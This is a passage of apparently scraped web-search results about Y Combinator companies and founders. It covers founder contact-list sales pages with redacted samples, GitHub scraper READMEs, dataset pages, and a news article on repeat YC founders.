founders\n\n21st\n\n2 founders\n\nAemon\n\n2 founders\n\nAgentic Fabriq\n\n2 founders\n\nAlt-X\n\n2 founders\n\nApproxima\n\n2 founders\n\nARC Prize Foundation\n\n1 founder\n\nAshr\n\n2 founders\n\nAsimov\n\n2 founders\n\nAurorin CAD\n\n1 founder\n\nAutoSitu\n\n2 founders\n\nAutumn AI\n\n2 founders\n\nAvoice\n\n2 founders\n\nAxionOrbital Space\n\n2 founders\n\nAxis\n\n2 founders\n\nBalance\n\n3 founders\n\nBaseFrame\n\n2 founders\n\nBeacon Health\n\n2 founders\n\n## Ready to get Winter 2026?\n\nInstant download. 360 verified contacts.\n\nUse code JUNE2026 for 33% off\n\n[Browse all batches](/)" }, { "url": "https://ycfounderlist.com/p/yc-founder-list-bundle-2025", "title": "2025 Complete Bundle \u2014 YC Founder List", "content_head": "\ud83c\udf89 LIMITED TIME:33% OFF ALL DATABASESCode: JUNE2026- Use at checkout!\n\nBest Value\n\n# 2025 Complete Bundle\n\nF25\n\nW25\n\nX25\n\nS25\n\n4 batches \u00b7 YC 2025\n\n607 verified contacts\n\nCSV + TSV download\n\nIncl. 81 ex-founders\nLast updated: June 2026\n\n$63\n\nOne-time payment \u00b7 Free updates after every YC batch\n\nUse code JUNE2026 for 33% off at checkout\n\n## What you get\n\n### Per-founder data (15 columns)\n\n- Company, YC year & batch\n- Full name, first & last name\n- Verified email address (deliverability-checked)\n- Title and LinkedIn profile\n- Company website\n- Status (Active / Changed job) + current company\n- City, state, country\n\n### Files in this package\n\n- `YC_Founders_2025_F25.csv`\n- `YC_Founders_2025_F25.tsv`\n- `YC_Founders_2025_W25.csv`\n- `YC_Founders_2025_W25.tsv`\n- `YC_Founders_2025_X25.csv`\n- `YC_Founders_2025_X25.tsv`\n- `YC_Founders_2025_S25.csv`\n- `YC_Founders_2025_S25.tsv`\nCSV and TSV have identical content \u2014 pick the format your tool prefers.\n\nOf 708 total founders in this batch, 607 are verified deliverable (still at YC company + valid email). The remainder are labeled Changed job so you know who's moved on.\n\n## Ready to get 2025 Complete Bundle?\n\nInstant download. 607 verified contacts.\n\nUse code JUNE2026 for 33% off\n\n[Browse all batches](/)" }, { "url": "https://github.com/djb-gt/yc-scraper", "title": "GitHub - djb-gt/yc-scraper: YC Company Scraper is a Python script that fetches information about Y Combinator companies from specified batches, extracts GitHub repository links from their websites, and prints the data.", "content_head": "YC Company Scraper is a Python script that fetches information about Y Combinator companies from specified batches, extracts GitHub repository links from their websites, and prints the data.\n\nTopics: python, web-scraping, startups, y-combinator\n\n# YC Company Scraper\n\nYC Company Scraper is a Python script that fetches information about Y Combinator companies from specified batches, extracts GitHub repository links from their websites, and prints the data.\n\n## Features\n\n- Retrieve company information from various Y Combinator batches\n- Scrape GitHub repository links from company websites\n- Print the extracted data\n\n## Requirements\n\n- Python 3.6 or higher\n- `requests` library\n\n## Installation\n\n1. Clone this repository:\n\n```\n git clone git@github.com:dirkjbreeuwer/yc-scraper.git cd yc-company-scraper\n```\n\n1. Install the `requests` library:\n\n```\n pip install requests\n```\n\n## Usage\n\n1. Open `yc_company_scraper.py` and modify the `batches` list to include the desired Y Combinator batch codes.\n2. Run the script:\n\n```\n python yc_company_scraper.py\n```\n\n1. The script will print the company name, website, YC URL, and any GitHub repository links found on their website.\n\n## Disclaimer\n\nThis script is for educational purposes only. Always respect the websites' terms of service and robots.txt when scraping data." }, { "url": "https://ycfounderlist.com/p/yc-founder-list-s26-summer-2026", "title": "Summer 2026 \u2014 YC Founder List", "content_head": "\ud83c\udf89 LIMITED TIME:33% OFF ALL DATABASESCode: JUNE2026- Use at checkout!\n\nS26\n\n# Summer 2026\n\nYC 2026 batch\n\n19 verified contacts\n\nCSV + TSV download\n\nLast updated: June 2026\n\n$11\n\nOne-time payment \u00b7 Free updates after every YC batch\n\nUse code JUNE2026 for 33% off at checkout\n\n## What you get\n\n### Per-founder data (15 columns)\n\n- Company, YC year & batch\n- Full name, first & last name\n- Verified email address (deliverability-checked)\n- Title and LinkedIn profile\n- Company website\n- Status (Active / Changed job) + current company\n- City, state, country\n\n### Files in this package\n\n- `YC_Founders_2026_S26.csv`\n- `YC_Founders_2026_S26.tsv`\nCSV and TSV have identical content \u2014 pick the format your tool prefers.\n\nOf 22 total rows in this batch, 19 are verified deliverable (still at YC company + valid email). The remainder are labeled Changed job so you know who's moved on.\n\n## Companies in this batch\n\n13 companies in Summer 2026. Showing the first 13 alphabetically \u2014 [browse all 13 \u2192](/companies/s26)\n\nAgentcard\n\n2 founders\n\nArchal\n\n2 founders\n\nCare GP\n\n1 founder\n\nCerenovus\n\n1 founder\n\nContext.dev\n\n1 founder\n\nControl Seat\n\n2 founders\n\nGUILD\n\n2 founders\n\nHop Aero\n\n2 founders\n\nmachine0\n\n1 founder\n\nPrescience\n\n2 founders\n\nRealPact\n\n2 founders\n\nRex\n\n2 founders\n\nTsenta\n\n2 founders\n\n## Ready to get Summer 2026?\n\nInstant download. 19 verified contacts.\n\nUse code JUNE2026 for 33% off\n\n[Browse all batches](/)" }, { "url": "https://kaggle.com/datasets/hacker-news/hacker-news/data", "title": "Hacker News", "content_head": "Kaggle uses cookies from Google to deliver and enhance the quality of its services and to analyze traffic.\n\nHacker News \u00b7 Updated 7 years ago\n\n![](/static/images/medals/datasets/goldl@2x.png)\n\n# Hacker News\n\nAll posts from Y Combinator's social news website from 2006 to late 2017\n\n![](https://storage.googleapis.com/kaggle-datasets-images/6057/8942/78efcb41b7ff05ca4a3e0a226e74dfbf/dataset-cover.jpg?t=2017-12-11-22-38-33)\n\n## About Dataset\n\n### Context\n\nThis dataset contains all stories and comments from Hacker News from its launch in 2006. Each story contains a story id, the author that made the post, when it was written, and the number of points the story received. Hacker News is a social news website focusing on computer science and entrepreneurship. It is run by Paul Graham's investment fund and startup incubator, Y Combinator. In general, content that can be submitted is defined as \"anything that gratifies one's intellectual curiosity\".\n\n### Content\n\nEach story contains a story ID, the author that made the post, when it was written, and the number of points the story received.\n\nPlease note that the text field includes profanity. All texts are the author\u2019s own, do not necessarily reflect the positions of Kaggle or Hacker News, and are presented without endorsement.\n\n## Querying BigQuery tables\n\nYou can use the BigQuery Python client library to query tables in this dataset in Kernels. Note that methods available in Kernels are limited to querying data. Tables are at `bigquery-public-data.hacker_news.[TABLENAME]`. **Fork [this kernel](https://www.kaggle.com/mrisdal/mentions-of-kaggle-on-hacker-news) to get started**.\n\n### Acknowledgements\n\nThis dataset was kindly made publicly available by [Hacker News](https://github.com/HackerNews/API) under [the MIT license](https://github.com/HackerNews/API/blob/master/LICENSE).\n\n### Inspiration\n\n- Recent studies have found that many forums tend to be dominated by a\n very small fraction of users. Is this true of Hacker News?\n- Hacker News has received complaints that the site is biased towards Y\n Combinator startups. Do the data support this?\n- Is the amount of coverage by Hacker News predictive of a startup\u2019s\n success?\n\n## See what others are saying about this dataset\n\n### What have you used this dataset for?\n\n### How would you describe this dataset?\n\n## Metadata\n\n## Activity Overview\n\n### Detail View" }, { "url": "https://github.com/devflowinc/yc-companies", "title": "GitHub - devflowinc/yc-companies: YC companies example built on Trieve", "content_head": "# Trieve YC Company Directory Demo\n\nThis is a demonstration of Trieve's source available and self-hostable infrastructure for enterprise search teams on the YC company directory dataset. Trieve combines search language models with tools for human fine-tuning. Find our main repository at [github.com/devflowinc/trieve](https://github.com/devflowinc/trieve).\n\n## Creating the dataset with all of the YC companies\n\n### 1. scrape a list of yc-company links from the offical YC Company Directory Page\n\nNavigate to [ycombinator.com/companies](https://ycombinator.com/companies) and paste the following [gist](https://gist.github.com/skeptrunedev/0e389b6532020f8512180b4f131ceb2b) into the console.\n\nThe result will be JSON containing URLs for all public YC companies.\n\n### 2. paste the JSON array of YC companies from the js browser console script into `./bun-scraper/yc-company-links.json`\n\nThe ingest process will use this list to create chunks which get sent to the Trieve API.\n\n### 3. Get a dataset_id and api key from [dashboard.trieve.ai](https://dashboard.trieve.ai) and add it to the ENV for the scraping process\n\nWithin the root directory of this repository, run `cat ./bun-scraper/example.env > ./bun-scraper/.env`.\n\n1. Navigate to [dashboard.trieve.ai](https://dashboard.trieve.ai) and sign in or make an account\n2. On the first page you see, click **create dataset**\n3. On the dataset creation page, copy your `dataset_id` and paste it into `./bun-scraper/.env` as the value for `DATASET_ID`\n4. Click the button to create an API key\n5. Create a Read+Write type API key, copy the value and paste it into `./bun-scraper/.env` as the value for `API_KEY`\n\n### 4. Run the scraper and create your chunks!\n\n1. Run `cd ./bun-scraper` in the root of this repository\n2. If you have not already installed it, install [bun](https://bun.sh/) with `npm install -g bun`\n3. Run `bun install`\n4. Run `bun index.ts`\n\n## Running the frontend\n\n### 1. Setup the root env file for the frontend\n\n1. Run `cat .env.example > .env` in the root of this repository\n2. Set `VITE_DATASET_ID` in the `.env` file to the ID of the dataset for which you added chunks in the dataset creation step\n3. Set `VITE_API_KEY` in the `.env` file to a read only API key that you created on [dashboard.trieve.ai](https://dashboard.trieve.ai)\n\n### 2. Build the frontend with your environment variables\n\nRun `yarn build` in the root of this repository\n\n### 3. Start the packaged frontend\n\nRun `yarn serve` in the root of this repository\n\n## Final Notes\n\nYou can also navigate to [chat.trieve.ai](https://chat.trieve.ai) or [search.trieve.ai](https://search.trieve.ai) to explore your dataset in both a RAG and search context.\n\nOn [search.trieve.ai](https://search.trieve.ai) you can experiment with manually editing chunks' content and relevance weight to adjust and fine-tune search results. A common use-case is adding weight to top YC companies such that they rank higher in search." }, { "url": "https://thenextgennexus.com/company-startup-intelligence-tools", "title": "Company & Startup Intelligence Tools \u2014 VC, Sourcing, Research | NexGenData", "content_head": "# Company & Startup Intelligence Tools \u2014 VC, Sourcing, Research\n\nReading Time: 8 minutes\nTable of Contents\n\n# Company & Startup Intelligence Tools \u2014 Sourcing, Funding & Research Data\n\n*Structured, API-grade data on private companies, startup ecosystems, VC portfolios and founder networks \u2014 built for sourcing analysts, recruiters, sales teams and BD operators who need fresher signal than Crunchbase can deliver.*\n\n## What\u2019s in this category\n\nThe Company & Startup Intelligence toolkit covers the full private-market data stack: accelerator alumni databases (Y Combinator, Techstars, 500 Global), bootstrapper and indie-product directories (Indie Hackers, Product Hunt), VC portfolio scrapers (Founders Fund, Lightspeed, Index Ventures, Greylock, Bessemer, a16z, Sequoia), live funding feeds from SEC EDGAR Form D filings and TechCrunch, and company enrichment utilities that turn a bare company name or domain into a complete profile with employee count, tech stack, social presence and contact data. Adjacent vertical signals \u2014 Shopify merchant detection, GitHub trending repos, healthcare provider directories \u2014 round out the lineup for operators working specific industry slices.\n\nWho uses it: VC associates running deal sourcing, executive recruiters building target maps, sales reps prospecting Series A startups, BD teams pursuing partnership pipelines, journalists tracking funding announcements, M&A scouts mapping consolidation targets, and growth marketers seeded against accelerator batches. If your job involves answering \u201cwhich companies just got funded, who founded them, and how do I reach them?\u201d \u2014 this category is the spine of your workflow. Everything here returns structured JSON or CSV, runs on pay-per-result pricing, and integrates cleanly with downstream tools like Snowflake, BigQuery, HubSpot, Salesforce, Clay, Hightouch and Apollo.\n\n## Common use cases\n\n- **Source target companies for Series A outreach** \u2014 pull the latest YC batch combined with recent SEC Form D filings, filter by stage and vertical, hand the deduplicated list to your SDRs with verified domains attached.\n- **Build a Founders Fund / Lightspeed / Greylock portfolio coverage list** \u2014 combine multiple VC scrapers into a single deduplicated coverage universe for your fund\u2019s competitive intelligence team or your sales territory mapping.\n- **Track YC W26 batch for sales prospecting** \u2014 schedule the YC Companies Directory weekly, diff against last week\u2019s run, alert your team via Slack on every new batch addition with website and one-liner attached.\n- **Identify newly-funded startups in a vertical** \u2014 combine the Startup Funding Tracker with industry keyword filters to surface fintech, healthtech or AI rounds within hours of the SEC Form D filing, well before TechCrunch picks it up.\n- **Enrich a CRM with founder names, domains and emails** \u2014 feed a list of company names into Company Enrichment, get back fully-hydrated profiles ready to push to HubSpot or Salesforce via reverse-ETL.\n- **Map a" }, { "url": "https://prebuilt-robots-data-table.browse.ai/extract-companies-yc-startup-directory", "title": "Y Combinator startup directory scraper", "content_head": "Sample Output\n\nYC Companies\n\n| # | Company Name | Company Location | Company Description | YC Batch | Company Image | Company Details Page | Tag 1 | Tag 2 |\n|---|---|---|---|---|---|---|---|---|\n| 1 | DoorDash | San Francisco, CA, USA | Restaurant delivery. | SUMMER 2013 | https://bookface-images.s3.amazonaws.com/small_logos/d13287c52acc96909f32342e85c26a33cfdac310.png | https://www.ycombinator.com/companies/doordash | CONSUMER | FOOD AND BEVERAGE |\n| 2 | Airbnb | San Francisco, CA, USA | Book accommodations around the world. | WINTER 2009 | https://bookface-images.s3.amazonaws.com/small_logos/3e9a0092bee2ccf926e650e59c06503ec6b9ee65.png | https://www.ycombinator.com/companies/airbnb | CONSUMER | TRAVEL, LEISURE AND TOURISM |\n| 3 | Coinbase | Los Angeles, CA, USA | Buy, sell, and manage cryptocurrencies. | SUMMER 2012 | https://bookface-images.s3.amazonaws.com/small_logos/1169cb0b69fa7b338b5d51c2d3805f8f988bdfa5.png | https://www.ycombinator.com/companies/coinbase | FINTECH | BANKING AND EXCHANGE |\n| 4 | Groww | Bengaluru, KA, India | Making financial services simple, transparent and delightful. | WINTER 2018 | https://bookface-images.s3.amazonaws.com/small_logos/0ae62cb1672e8223d9b0ae2e5b7ecde4ae763c5e.png | https://www.ycombinator.com/companies/groww | FINTECH | ASSET MANAGEMENT |\n| 5 | Instacart | San Francisco, CA, USA | Marketplace for grocery delivery and pickup | SUMMER 2012 | https://bookface-images.s3.amazonaws.com/small_logos/9750fca21baaee75e035f1baaf58df8e2f5dcc67.png | https://www.ycombinator.com/companies/instacart | CONSUMER | FOOD AND BEVERAGE |" }, { "url": "https://ycfounderlist.com/p/yc-founder-list-bundle-2024", "title": "2024 Complete Bundle \u2014 YC Founder List", "content_head": "\ud83c\udf89 LIMITED TIME:33% OFF ALL DATABASESCode: JUNE2026- Use at checkout!\n\nBest Value\n\n# 2024 Complete Bundle\n\nW24\n\nS24\n\nF24\n\n3 batches \u00b7 YC 2024\n\n563 verified contacts\n\nCSV + TSV download\n\nIncl. 147 ex-founders\nLast updated: June 2026\n\n$47.25$23.63\n-50%\n\nOne-time payment \u00b7 Free updates after every YC batch\n\nUse code JUNE2026 for 33% off at checkout\n\n## What you get\n\n### Per-founder data (15 columns)\n\n- Company, YC year & batch\n- Full name, first & last name\n- Verified email address (deliverability-checked)\n- Title and LinkedIn profile\n- Company website\n- Status (Active / Changed job) + current company\n- City, state, country\n\n### Files in this package\n\n- `YC_Founders_2024_W24.csv`\n- `YC_Founders_2024_W24.tsv`\n- `YC_Founders_2024_S24.csv`\n- `YC_Founders_2024_S24.tsv`\n- `YC_Founders_2024_F24.csv`\n- `YC_Founders_2024_F24.tsv`\nCSV and TSV have identical content \u2014 pick the format your tool prefers.\n\nOf 710 total founders in this batch, 563 are verified deliverable (still at YC company + valid email). The remainder are labeled Changed job so you know who's moved on.\n\n## Ready to get 2024 Complete Bundle?\n\nInstant download. 563 verified contacts.\n\nUse code JUNE2026 for 33% off\n\n[Browse all batches](/)" }, { "url": "https://ycfounderlist.com", "title": "YC Founder List - Most Up-to-Date YCombinator Founders Directory", "content_head": "\ud83c\udf89 LIMITED TIME:33% OFF ALL DATABASESCode: JUNE2026- Use at checkout!\n\nLast updated: June 2026\n\n# The Most Up-to-Date YCombinator Founders Database\n\nSkip the endless research. Get verified contact information for YC founders from 2024, 2025 and 2026 batches, updated after every cohort with employment status and departure tracking.\n\n1,873+ verified contacts\n\nUpdated after every batch\n\n2024 \u00b7 2025 \u00b7 2026\n\nChoose individual batches or save with yearly bundles\n\n### The Problem\n\nFinding current contact info for YC founders is time-consuming, often outdated, and scattered across multiple sources.\n\n### Our Solution\n\nVerified, current database with employment status tracking and email deliverability checks for every founder.\n\n### Your Benefit\n\nSave 10+ hours of research per outreach campaign. Get straight to building relationships that matter.\n\n## All Packages\n\nBundle for the best value, or pick individual batches\n\n\ud83d\udcb0Don't forget your 33% discount!\n\nUse coupon code JUNE2026 at checkout to save 33% on any purchase\n\n\u2705 Valid on all individual batches and bundles\n\nYC_Founders_2026.csv\n\n| A | B | C | D | E | F | G | H | I | J | K | L | M | N | O |\n| Company | YC Year | YC Batch | Name | First Name | Last Name | Email Address | Title | Person Linkedin Url | Website | Status | Current Company | City | State | Country |\n|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|\n| Rote | 2027 | W27 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | Co-Founder | linkedin.com/in/\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | https://tryrote.com | Active | Rote | San Francisco | California | United States |\n| Pioneer Fund | 2025 | W25 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | Co-Founder, CEO | linkedin.com/in/\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | https://pioneerfund.vc | Active | Pioneer Fund | Baltimore | Maryland | United States |\n| SixtyFour | 2025 | X25 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | Co-Founder | linkedin.com/in/\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | https://sixtyfour.ai | Active | SixtyFour | San Francisco | California | United States |\n| Waypoint Transit | 2025 | W25 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | Co-Founder, CEO | linkedin.com/in/\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | https://waypointtransit.com | Active | Waypoint Transit | San Francisco | California | United States |\n| Kashikoi | 2025 | X25 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | Founder | linkedin.com/in/\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | https://getkashikoi.com | Active | Kashikoi | San Francisco | California | United States |\n| Caucus | 2025 | X25 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | Co-Founder, CTO | linkedin.com/in/\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | https://joincaucus.com | Active | Caucus | Allendale | New Jersey | United States |\n| SubImage | 2025 | W25 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | Co-Founder, President | linkedin.com/in/\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 | https://subimage.io | Active | SubImage | San Francisco | California | United States |\n| Lucidic AI | 2025 | W25 | \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 |" }, { "url": "https://atearnings.com/startups/y-combinator-repeat-founders", "title": "Y Combinator repeat founders reached 454 through 2026 dataset", "content_head": "[Startups](https://atearnings.com/category/startups)\n\n# Y Combinator repeat founders reached 454 through 2026 dataset\n\nA YC-shared dataset tracks 454 founders who returned to the accelerator, but rising headcounts do not prove a higher return rate.\n\n[Y Combinator repeat founders](https://news.crunchbase.com/venture/y-combinator-repeat-founders-numbers-grow-epstein-callaway/) are becoming more visible in the accelerator\u2019s batches, according to a dataset analyzed by Crunchbase News. The count offers a useful signal for investors following early-stage technology companies, but it does not show that alumni are returning at a higher rate.\n\nThe dataset, which Crunchbase News said YC shared directly, covers 454 people who participated in YC more than once and 935 founder-company records from 2005 through 2026. A repeat founder in this data is someone who appeared in YC on more than one occasion, rather than necessarily someone building only a second company.\n\nMost repeat founders attended YC exactly twice. Of the 454 people, 428, or 94%, made two appearances; 25 appeared three times; and Justin Kan was the only four-time participant, Crunchbase News reported. The 935 records minus the 454 individuals imply 481 return participations after founders\u2019 initial appearances.\n\n## Are more founders returning to Y Combinator?\n\nThe raw number of repeat founders reached 65 in 2025, the highest annual total in the data. That figure is not enough to establish a rising return rate, however. Crunchbase News cautioned that YC cohorts have expanded, while the 2025 and 2026 data include newer batch formats and may be incomplete. Without a comparable annual total of all YC founders or companies, the data cannot show how the share of returnees has changed.\n\nThere is older evidence that returning to the program is not new. Business Insider reported in 2019 that 150 entrepreneurs had returned to YC at least once over the preceding 14 years, including 10 founders in the Summer 2019 cohort. Those figures should not be treated as a direct comparison with the newer data because the reporting periods and methods differ.\n\nThe timing points to more than one path back. Crunchbase News found an average interval of 5.1 years between appearances. Nearly 30% of return participations came within two years, including 38 in the same calendar year, while 61 followed a gap of at least 10 years.\n\nSeveral high-profile alumni illustrate the pattern. YC\u2019s website says the Collison brothers attended twice, first in W07 and again in S09, when they started Stripe. Crunchbase News identified Kan, a Twitch and Stash co-founder, as the sole founder with four YC appearances in its dataset.\n\n## Why would a founder return to YC?\n\nAaron Epstein, a YC general partner who worked with the spring 2026 batch, told Crunchbase News he had seen more repeat, second-time founders among companies he had previously worked with. He also said the larger YC alumni base means more people are eligible to return, so the pat" }, { "url": "https://huggingface.co/datasets/RummageLabs/ycombinator_f2024", "title": "RummageLabs/ycombinator_f2024 \u00b7 Datasets at Hugging Face", "content_head": "# Y Combinator Companies Dataset\n\nA dataset of companies funded by **Y Combinator** in the fall 2024 batch. The dataset includes information on company name, headquarters, founders, sectors, and more, sourced from Y Combinator\u2019s public database and company websites. For more information, visit [Y Combinator\u2019s Official Website](https://www.ycombinator.com).\n\n## How the Data is Compiled\n\n- All information in this dataset has been collected from public sources, including the Y Combinator database and company websites. Cells are each derived from one or more sources and then selected/verified using Research by Rummage Labs tools.\n- This dataset represents a snapshot as of when the batch ended Dec 2024.\n- The dataset was compiled to ensure the accuracy and relevance of the information at the time of aggregation, however, independent verification is recommended depending on intended use.\n\n## Data Fields\n\n| Column | Description |\n|---|---|\n| **company** | The name of the Y Combinator-backed company |\n| **headquarters** | The main location of the company\u2019s operations |\n| **founders** | The founders or co-founders of the company |\n| **description** | A brief overview of the company\u2019s product, mission, or services |\n| **sector** | The primary industry or area the company operates within, e.g., technology, healthcare |\n| **website** | The official website URL for more information about the company (if available) |\n| **demo** | A link or reference to any demo or introductory video from the company |\n\nAll information was compiled using Rummage Labs. To learn more, visit [Rummage Labs](https://www.rummagelabs.com).\n\n- **Downloads last month** 7" }, { "url": "https://ycfounderlist.com/year/2024", "title": "YC 2024 Founder Directory \u2014 Every Company & Founder", "content_head": "\ud83c\udf89 LIMITED TIME:33% OFF ALL DATABASESCode: JUNE2026- Use at checkout!\n\n# YC 2024 Founder Directory\n\nEverything we have on Y Combinator's 2024 cohort: 478 companies across 3 batches (F24, S24, W24), 710 founders total, 563 with verified contact data.\n\nLast updated: June 2026\n\n563 verified contacts\n\nCSV + TSV download\n\nAll 3 2024 batches \u00b7 Use code JUNE2026 for 33% off\n\n## All 2024 YC companies\n\n478 companies, alphabetical. Each one's full founder roster is in the 2024 bundle.\n\n&AI\n\nS24\n\n14.ai\n\nW24\n\n1849 bio\n\nS24\n\nAbel Police\n\nS24\n\nAbundant\n\nF24\n\nACX\n\nS24\n\nAffil.ai\n\nS24\n\nAftercare\n\nW24\n\nAgentic Labs\n\nW24\n\nAI Sell\n\nS24\n\nAidy\n\nW24\n\nAlai\n\nW24\n\nAminoAnalytica\n\nS24\n\nAnara\n\nS24\n\nAnglera\n\nS24\n\nAngstrom AI\n\nS24\n\n\u00c5ngstr\u00f6m AI\n\nS24\n\nAnthrogen\n\nS24\n\nApriora\n\nW24\n\nAqua Voice\n\nW24\n\nArchil\n\nF24\n\nArchiLabs\n\nF24\n\nArgil\n\nS24\n\nArgon AI\n\nW24\n\nArini\n\nW24\n\nArtisan\n\nW24\n\nAssembly\n\nW24\n\nAssembly HOA\n\nS24\n\nAsterisk\n\nS24\n\nAstrix Health\n\nF24\n\natopile\n\nW24\n\nattimet\n\nF24\n\nAttunement\n\nW24\n\nautarc\n\nS24\n\nAutoComputer\n\nF24\n\nAutoPallet Robotics\n\nS24\n\nAutumn\n\nF24\n\nAutumn Labs\n\nS24\n\nBasalt\n\nW24\n\nBasepilot\n\nW24\n\nBayesline\n\nS24\n\nBeeBettor\n\nS24\n\nBenchify\n\nS24\n\nBetterBasket\n\nW24\n\nBilanc\n\nW24\n\nBiocartesian\n\nS24\n\nBiteSight\n\nW24\n\nBits to Atoms\n\nS24\n\nBlacksmith\n\nW24\n\nBlast\n\nS24\n\nBlaze\n\nS24\n\nBlume Benefits\n\nW24\n\nBrainbase\n\nW24\n\nBucket Robotics\n\nS24\n\nCallback\n\nS24\n\ncamelAI\n\nW24\n\ncamfer\n\nS24\n\nCandid\n\nF24\n\nCapitol\n\nS24\n\nCapitol AI\n\nS24\n\nCarousel Technologies\n\nW24\n\nCartage\n\nS24\n\nCekura\n\nF24\n\nCelest\n\nW24\n\nCentauri AI\n\nW24\n\nCentral\n\nS24\n\nCentralize\n\nW24\n\nCerulion\n\nS24\n\nCharm\n\nF24\n\nChorrie\n\nF24\n\nChunkr\n\nW24\n\nCircleback\n\nW24\n\nClara\n\nS24\n\nClarion\n\nW24\n\nClarum\n\nW24\n\nClearly AI\n\nS24\n\nCleva\n\nW24\n\nCloudCruise\n\nW24\n\nCloudglue\n\nS24\n\nCoblocks\n\nF24\n\nCoCrafter\n\nW24\n\nCodeAnt AI\n\nW24\n\nCodebuff\n\nF24\n\nCodeViz\n\nS24\n\nCollectWise\n\nF24\n\nComfy Deploy\n\nS24\n\nCommodityAI\n\nW24\n\nConductor Quantum\n\nS24\n\nConveo\n\nS24\n\nCopper Health\n\nW24\n\nCorgi\n\nS24\n\ncrmCopilot\n\nW24\n\nCrowdVolt\n\nW24\n\nCrustdata\n\nF24\n\nCuro\n\nF24\n\nDatacurve\n\nW24\n\nDataleap\n\nS24\n\nDecipher AI\n\nW24\n\nDecisional AI\n\nS24\n\nDeepSim, Inc.\n\nS24\n\nDelve\n\nW24\n\nDench.com\n\nS24\n\nDexter\n\nF24\n\nDGI Apparel\n\nW24\n\nDianaHR\n\nW24\n\nDiffusion Studio\n\nF24\n\nDigitalCarbon\n\nS24\n\nDime\n\nW24\n\nDimely\n\nS24\n\nDiode Computers, Inc.\n\nS24\n\ndmodel\n\nS24\n\nDodo\n\nS24\n\nDomu\n\nS24\n\nDouble\n\nW24\n\nDoublezero\n\nS24\n\nDreamRP\n\nS24\n\nDrillbit\n\nS24\n\nDriver\n\nW24\n\nDropback\n\nW24\n\nDuckie\n\nW24\n\nDurate\n\nF24\n\nEdgedive\n\nF24\n\nEducato AI\n\nS24\n\nEggnog\n\nW24\n\nego\n\nW24\n\nElayne\n\nS24\n\nElevate\n\nS24\n\nEllipsis\n\nW24\n\nElodin\n\nW24\n\nEmber\n\nF24\n\nEmber Robotics\n\nS24\n\nEncore\n\nF24\n\nEngines\n\nW24\n\nEntangl\n\nS24\n\nEris Biotech\n\nW24\n\net al.\n\nS24\n\nExa Laboratories\n\nS24\n\nFazeshift\n\nS24\n\nFelafax\n\nS24\n\nFileforge\n\nW24\n\nFINNY\n\nS24\n\nFirebender\n\nW24\n\nFirstWork\n\nS24\n\nfixa\n\nF24\n\nfixa\n\nS24\n\nFluently\n\nW24\n\nFocal\n\nW24\n\nFocus Buddy\n\nS24\n\nForerunner\n\nF24\n\nForge\n\nW24\n\nFormula Insight\n\nS24\n\nFoundry\n\nF24\n\nFractal 